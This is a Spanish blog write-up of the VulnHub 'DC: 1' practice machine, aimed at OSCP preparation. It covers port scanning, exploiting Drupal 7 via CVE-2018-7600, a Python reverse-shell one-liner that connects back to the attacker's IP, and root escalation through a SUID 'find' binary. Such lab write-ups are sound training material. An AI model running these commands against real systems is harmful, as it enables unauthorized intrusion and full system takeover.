Saltar al contenido

VulnHub – DC: 1 – Writeup – (OSCP Friendly)

En este post voy a vulnerar la máquina DC: 1 de Vulnhub. Es una máquina Linux, de nivel fácil para VulnHub y Proving Grounds, basada en Drupal y el bit SUID.

Enumeración

Comienzo averiguando la IP que ha tomado la máquina con netdiscover.

sudo netdiscover -i eth0

Ahora que ya tengo la IP en la que está alojada la máquina, escaneo los 65535 puertos del protocolo TCP, estableciendo un envío mínimo de 5000 paquetes por segundo.

nmap -p- --open -n --min-rate 5000 192.168.71.155

En la máquina hay cuatro puertos abiertos. Escaneo los tres primeros puertos que he encontrado, ya que el último es un puerto dinámico del sistema, para ver la versión de los servicios que están corriendo en ellos y ejecuto una serie de scripts de enumeración básicos.

nmap -p22,80,111 -sCV 192.168.71.155
Starting Nmap 7.91 ( https://nmap.org ) at 2022-05-14 20:07 CEST
Nmap scan report for 192.168.71.155
Host is up (0.0013s latency).

PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
| ssh-hostkey: 
|   1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f (DSA)
|   2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA)
|_  256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA)
80/tcp  open  http    Apache httpd 2.2.22 ((Debian))
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.2.22 (Debian)
|_http-title: Welcome to Drupal Site | Drupal Site
111/tcp open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          44986/udp6  status
|   100024  1          47406/udp   status
|   100024  1          50594/tcp6  status
|_  100024  1          57688/tcp   status
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.67 seconds

Accedo a la web y llego al portal de autenticación del CMS Drupal.

Para enumerar rápidamente el CMS, utilizo la herramienta para python 3 droopscan y me indica que la versión mas reciente es la 7.26.

droopscan scan drupal -u http://192.168.71.155/

Explotación

Buscando un poco por internet, encuentro que esta versión tiene una vulnerabilidad registrada como CVE-2018-7600. Esta vulnerabilidad tiene múltiples exploit pero yo elijo el del github de dreadlocked, que me permite obtener una shell simple.

https://github.com/dreadlocked/Drupalgeddon2

Como esta shell tiene algunas limitaciones, voy a generar una shell reversa en python por el puerto 1234.

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.71.135",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Escalada de privilegios

En primer lugar, para que la resolución sea válida para OSCP, es necesario conseguir una shell en tty. Para ello, como la máquina tiene python, ejecuto mi script automatizado, pero al final de la resolución indicaré como conseguirla de forma manual.

Ejecuto Linux Smart Enumeration, con el nivel 1 de verbosity y me indica que el comando find posee el bit SUID.

Busco en GTFObins y encuentro una forma de escalar privilegios cuando el comando find tiene el bit SIUD.

Ejecuto el comando tal y como indica en la web pero me aparece un error debido a que no reconoce la opción -p. Vuelvo a ejecutarlo sin esta opción y me convierto en root.

find . -exec /bin/sh -p \; -quit
find . -exec /bin/sh \; -quit

La flag de root (en la máquina hay otras pero carecen de interés) la encuentro en el directorio raíz de root.

tty

Como ya he dicho anteriormente en otros post, para que la máquina esté resuelta de modo OSCP Friendly, es necesario conseguir una shell tty. Con los siguientes comandos consigo convertir la shell en shell tty en fácilmente.

script /dev/null -c bash
^Z

CTRL + Z

Ahora sin cambiar de consola.

stty raw -echo; fg
reset

Y con esto vuelvo a la shell reversa. Añado los siguientes comandos.

xterm
export TERM=xterm
export SHELL=bash

Y ya he conseguido una consola tty.

Para finalizar (esto es opcional) solo me faltaría adaptar las dimensiones de la shell de la consola a las de mi ventana de shell. En una shell de mi máquina atacante compruebo las dimensiones de la ventana.

stty size

Y las modifico en la shell reversa.

stty rows [X] columns [Y]
Publicado enCTFLinuxOSCPVulnHub